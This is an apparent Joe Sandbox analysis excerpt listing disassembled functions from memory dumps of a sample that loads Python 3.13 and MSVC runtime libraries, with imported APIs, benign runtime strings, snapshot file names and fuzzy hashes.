PyEval_SaveThread.PYTHON313 ref: 00007FFBBB63B140
PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB63B152
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB63B15B
PyErr_SetString.PYTHON313 ref: 00007FFBBB63B178

Part of subcall function 00007FFBBB632BF8: PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB632C31
Part of subcall function 00007FFBBB632BF8: PyList_New.PYTHON313 ref: 00007FFBBB632C48
Part of subcall function 00007FFBBB632BF8: PyEval_SaveThread.PYTHON313 ref: 00007FFBBB632CB2
Part of subcall function 00007FFBBB632BF8: PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB632CCC

Strings

Repeated call to flush(), xrefs: 00007FFBBB63B16E

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_SizeThread_release_lock
String ID: Repeated call to flush()
API String ID: 3236580226-194442007
Opcode ID: 4754abb13fe3894e29a333388fa33b4ce1169a5a9ba9414d824f219d6c87b798
Instruction ID: 70e1ac97832c6f4194bd4b3c8a52a44a19c16def8a3b7787497689a028e51043
Opcode Fuzzy Hash: 4754abb13fe3894e29a333388fa33b4ce1169a5a9ba9414d824f219d6c87b798
Instruction Fuzzy Hash: 3A11F8B2A08A4292EA109B2EE944679A261FB88B84F048031DF0F47A74CF2DE856C704

Function 00007FFBBB612894 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB6128B9
PyThread_release_lock.PYTHON313 ref: 00007FFBBB6128F6
PyErr_SetString.PYTHON313 ref: 00007FFBBB612920

Part of subcall function 00007FFBBB60857C: PyType_GetModuleState.PYTHON313 ref: 00007FFBBB6085B5
Part of subcall function 00007FFBBB60857C: PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB6085C9
Part of subcall function 00007FFBBB60857C: PyList_New.PYTHON313 ref: 00007FFBBB6085E0
Part of subcall function 00007FFBBB60857C: PyEval_SaveThread.PYTHON313 ref: 00007FFBBB608631
Part of subcall function 00007FFBBB60857C: PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB60864B

PyEval_SaveThread.PYTHON313 ref: 00007FFBBB615B5E
PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB615B73
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB615B7C

Strings

Repeated call to flush(), xrefs: 00007FFBBB612916

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_ModuleSizeStateThread_release_lockType_
String ID: Repeated call to flush()
API String ID: 3871537485-194442007
Opcode ID: 846ad34fc956f2d8cc9539ebd28b4008fa9c7d7d9fbee7c40b9c9ffed26adc9f
Instruction ID: ee734eb42d5355c8bed396eda328d075a52b31ff8c520109d412ff9c122846d5
Opcode Fuzzy Hash: 846ad34fc956f2d8cc9539ebd28b4008fa9c7d7d9fbee7c40b9c9ffed26adc9f
Instruction Fuzzy Hash: E21116A1A08A5282E7589B3AEC44379B355FB84B80F04D031DB0F47774CF2DE8558704

Function 00007FFBBCD414BC Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41576
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41595
__AdjustPointer.LIBCMT ref: 00007FFBBCD415D6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD415E3
__AdjustPointer.LIBCMT ref: 00007FFBBCD4161F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41634
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41679
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41680

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: a77e56ffb7347bb9ddddd1c8b20b2eb7c3ebdd653f05e7e8cd9cc1452737c897
Instruction ID: c49f71506ea875154692db7ad4ac15889588d8c2dd7cf7b8363c20368b8d99c1
Opcode Fuzzy Hash: a77e56ffb7347bb9ddddd1c8b20b2eb7c3ebdd653f05e7e8cd9cc1452737c897
Instruction Fuzzy Hash: DC51B1E9F0E68281FE65CB7DD04E6B867A4AF44F80F098539CB5E06794DF2CE8418708

Function 00007FFBBCD412D8 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41390
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD413AE
__AdjustPointer.LIBCMT ref: 00007FFBBCD413EF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD413FC
__AdjustPointer.LIBCMT ref: 00007FFBBCD41438
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD4144D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41492
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41499

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 4f4cdc7b1f5bc10ab634606701f5204aa77954bebd3c90e9ebba0e05a3be14f8
Instruction ID: 729cfe7deae3e1cd455653c97364a7b633b2ab5df8a6d0fdb2c35fd945276292
Opcode Fuzzy Hash: 4f4cdc7b1f5bc10ab634606701f5204aa77954bebd3c90e9ebba0e05a3be14f8
Instruction Fuzzy Hash: FC518FE9B0AA4281FE65DB3DD44E6787395AF44F84F0A8439CB4E06B95DF2CE841C309

Function 00007FFBBB6081F0 Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFBBB60823E
PyObject_GetBuffer.PYTHON313 ref: 00007FFBBB608272
PyBuffer_Release.PYTHON313 ref: 00007FFBBB6082A1
_PyNumber_Index.PYTHON313 ref: 00007FFBBB6082CD
PyLong_AsSsize_t.PYTHON313 ref: 00007FFBBB6082DE
_PyArg_UnpackKeywords.PYTHON313 ref: 00007FFBBB608336
PyErr_Occurred.PYTHON313 ref: 00007FFBBB608356

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Arg_BufferBuffer_Err_IndexKeywordsLong_Number_Object_OccurredReleaseSsize_tUnpackmemset
String ID:
API String ID: 606573005-0
Opcode ID: a324398e3bede2699f5ce2eec0847bfe6a28e1d246fcab0b9eaa74794024205a
Instruction ID: 005994924621d5555b661d515665c1c16f8fad66d391ef3dbeb59d44305e8f66
Opcode Fuzzy Hash: a324398e3bede2699f5ce2eec0847bfe6a28e1d246fcab0b9eaa74794024205a
Instruction Fuzzy Hash: F541A5A1A08B4286EE54CF2AE880379B350FB58B90F84C130DF5E037A5EF3CD845C648

Function 00007FFBBB633574 Relevance: 12.1, APIs: 8, Instructions: 102COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFBBB6335C4
_PyArg_UnpackKeywords.PYTHON313 ref: 00007FFBBB63360D
PyObject_GetBuffer.PYTHON313 ref: 00007FFBBB633626
_PyNumber_Index.PYTHON313 ref: 00007FFBBB63363C
PyLong_AsSsize_t.PYTHON313 ref: 00007FFBBB633651
PyBuffer_Release.PYTHON313 ref: 00007FFBBB633694

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Arg_BufferBuffer_IndexKeywordsLong_Number_Object_ReleaseSsize_tUnpackmemset
String ID:
API String ID: 1047613875-0
Opcode ID: 50970edf94aab080e00a017c8fdbf5507f53e9c43653c6ce39d107284c02803c
Instruction ID: 004f7e4e262923104d603fcb40b5bb10113de0e7f1060546d1f92a025e6f18e3
Opcode Fuzzy Hash: 50970edf94aab080e00a017c8fdbf5507f53e9c43653c6ce39d107284c02803c
Instruction Fuzzy Hash: 434183A3A19B5296EA119F2EEC44679A2A0FB49BD0F448131DF5E07BA4EF3CDC45C704

Function 00007FFBBCD44CEA Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD451D0: RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD45220
Part of subcall function 00007FFBBCD451D0: RaiseException.KERNEL32 ref: 00007FFBBCD45261

RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD44D87

Strings

Attempted a typeid of nullptr pointer!, xrefs: 00007FFBBCD44EC5
Bad read pointer - no RTTI data!, xrefs: 00007FFBBCD44EE8
Bad dynamic_cast!, xrefs: 00007FFBBCD44E52
Access violation - no RTTI data!, xrefs: 00007FFBBCD44CEA, 00007FFBBCD44F0B

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 3685223789-928371585
Opcode ID: 4f73c46b7be505823b8c23bdf2e01a106e3a134808b8006f3c7a9710838bb3a8
Instruction ID: e0092892d939752f0e81f1d4de5c26a20401f8c06c28e66e6befe15a9ecd22aa
Opcode Fuzzy Hash: 4f73c46b7be505823b8c23bdf2e01a106e3a134808b8006f3c7a9710838bb3a8
Instruction Fuzzy Hash: 4051B2EAB19A4693DE20CB38E4A95B96360FF44B84F508436DB8D07764EF3CE585C704

Function 00007FFBBB608368 Relevance: 10.6, APIs: 7, Instructions: 133threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB60839D
PyBytes_FromStringAndSize.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB6083BB
PyList_New.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB6083D1
PyEval_SaveThread.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB60840E
PyEval_RestoreThread.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB608427
_Py_Dealloc.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB6084EC
_Py_Dealloc.PYTHON313(?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB6146C2

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_ModuleRestoreSaveSizeStateStringType_
String ID:
API String ID: 2831925710-0
Opcode ID: 16fbac790653686bbe248a4dcbfb097c7ce403cfd3436c25cc9141e3a4c4f252
Instruction ID: 14fe3315cea6b60441324f4591efc899307fc2f873b25dc65b5ec4b63a5ddf61
Opcode Fuzzy Hash: 16fbac790653686bbe248a4dcbfb097c7ce403cfd3436c25cc9141e3a4c4f252
Instruction Fuzzy Hash: AC5174B3A0871185EA60DB2AE884579B394FB44754F598235DF5E433A0DF3CDC45C308

Function 00007FFBBCD4D444 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4D4B8
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4D4C7

Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B6DD
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B716
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4D567
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4D577
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4D623

Strings

{for , xrefs: 00007FFBBCD4D4F0

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: c8c0eb25e8b680b21b04dbc78bc85cadbb1d2f305e65e2eabc9fe04fafa5b067
Instruction ID: 376d3c8be2d0d8e8f8de36bb27b9fafe56b62a7bcc696eb32867fd22fe506c01
Opcode Fuzzy Hash: c8c0eb25e8b680b21b04dbc78bc85cadbb1d2f305e65e2eabc9fe04fafa5b067
Instruction Fuzzy Hash: 5F5115F6B08A85A9FB01DF38D4483A833A1EB45748F848031EB4D47A99DF78D555C718

Function 00007FFBBB60857C Relevance: 10.6, APIs: 7, Instructions: 125threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON313 ref: 00007FFBBB6085B5
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB6085C9
PyList_New.PYTHON313 ref: 00007FFBBB6085E0
PyEval_SaveThread.PYTHON313 ref: 00007FFBBB608631
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB60864B
_Py_Dealloc.PYTHON313 ref: 00007FFBBB614710
_Py_Dealloc.PYTHON313 ref: 00007FFBBB614762

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_ModuleRestoreSaveSizeStateStringType_
String ID:
API String ID: 2831925710-0
Opcode ID: b56d12ae4060c59d5afa07068ebeba48d0cc5cea2c731143b3892cc892e1be47
Instruction ID: eb316a00948d45ce5feeb5ac02177c4ed87dcb4096bc4fb5c6344c98eddb8a6a
Opcode Fuzzy Hash: b56d12ae4060c59d5afa07068ebeba48d0cc5cea2c731143b3892cc892e1be47
Instruction Fuzzy Hash: 395196A2A19B4285EE648B3ADD54139B3A0FB49B60F599235DF5E037A0DF3CEC50C704

Function 00007FFBBB639C04 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FFBBB639C59
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB639C8C
memcpy.VCRUNTIME140 ref: 00007FFBBB639CD0
_Py_Dealloc.PYTHON313 ref: 00007FFBBB639CEC

Strings

Unable to allocate output buffer., xrefs: 00007FFBBB63C626

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Dealloc$Bytes_FromSizeStringmemcpy
String ID: Unable to allocate output buffer.
API String ID: 76732796-2565006440
Opcode ID: a4c92701f9ed141fd0d8f748463699b631f7ae9b4821ca4873bd1ff5d75ee438
Instruction ID: ad46654b589242d799433c9a9ddab3cbfea5f3b14a98a3249eb46da5aa00c3fa
Opcode Fuzzy Hash: a4c92701f9ed141fd0d8f748463699b631f7ae9b4821ca4873bd1ff5d75ee438
Instruction Fuzzy Hash: 0541EAB3A19A0281EB598F2ED940269A7A0FB48F94F189432DF1F477A5DF7CD891C704

Function 00007FFBBCD4CA04 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FFBBCD4C0FD), ref: 00007FFBBCD4CAC8
DName::DName.LIBVCRUNTIME ref: 00007FFBBCD4CAE7

Strings

void, xrefs: 00007FFBBCD4CA4A
`template-parameter, xrefs: 00007FFBBCD4CAF5

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 39600c2fadeceed4c6c28385a1cdb72227216fd67de7d66948b2e2ddd060d726
Instruction ID: 368e71291f6872c69fec9b51283af56fc5b3ede9056ad3dda157c157a3aa7b7a
Opcode Fuzzy Hash: 39600c2fadeceed4c6c28385a1cdb72227216fd67de7d66948b2e2ddd060d726
Instruction Fuzzy Hash: 4F4148EAB08B5288FB00CBB8D8592FD2371BF58B88F941135CF4D66659EF78A545C344

Function 00007FF7FF58DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDBD
GetLastError.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DE63
GetProcAddress.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DE6F

Strings

api-ms-, xrefs: 00007FF7FF58DDDD

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: 034e6306d75accbdad8fbccfff273b72e78dc3c04545962a54b6a043a30d2287
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: FC316E21B1A68291EF52AB12A8005B5A7D4FF58BA0FD94635ED3D073D4EF3CE458C2A0

Function 00007FFBBCD475D0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD47682

Strings

void, xrefs: 00007FFBBCD476F4
,..., xrefs: 00007FFBBCD47650
<ellipsis>, xrefs: 00007FFBBCD476CF
..., xrefs: 00007FFBBCD476BF
,<ellipsis>, xrefs: 00007FFBBCD47660

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 2943138195-2211150622
Opcode ID: 8129fa0169d6cc1cc5ca1a8c8b43bbbd082598864b82464398da58a00a821778
Instruction ID: 02a78879a7a80cb59be2f3330ca9eccf81c3c36cfb716d3bd061b3417808413e
Opcode Fuzzy Hash: 8129fa0169d6cc1cc5ca1a8c8b43bbbd082598864b82464398da58a00a821778
Instruction Fuzzy Hash: 784115EAB08B8698F741CB7CD8482BC37A0BB04348F984535DB4C16394EF7CA946C708

Function 00007FFBBCD49554 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49637

Strings

char , xrefs: 00007FFBBCD495DD
short , xrefs: 00007FFBBCD495D4
int , xrefs: 00007FFBBCD495C5
long , xrefs: 00007FFBBCD495B6
unsigned , xrefs: 00007FFBBCD4960B

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
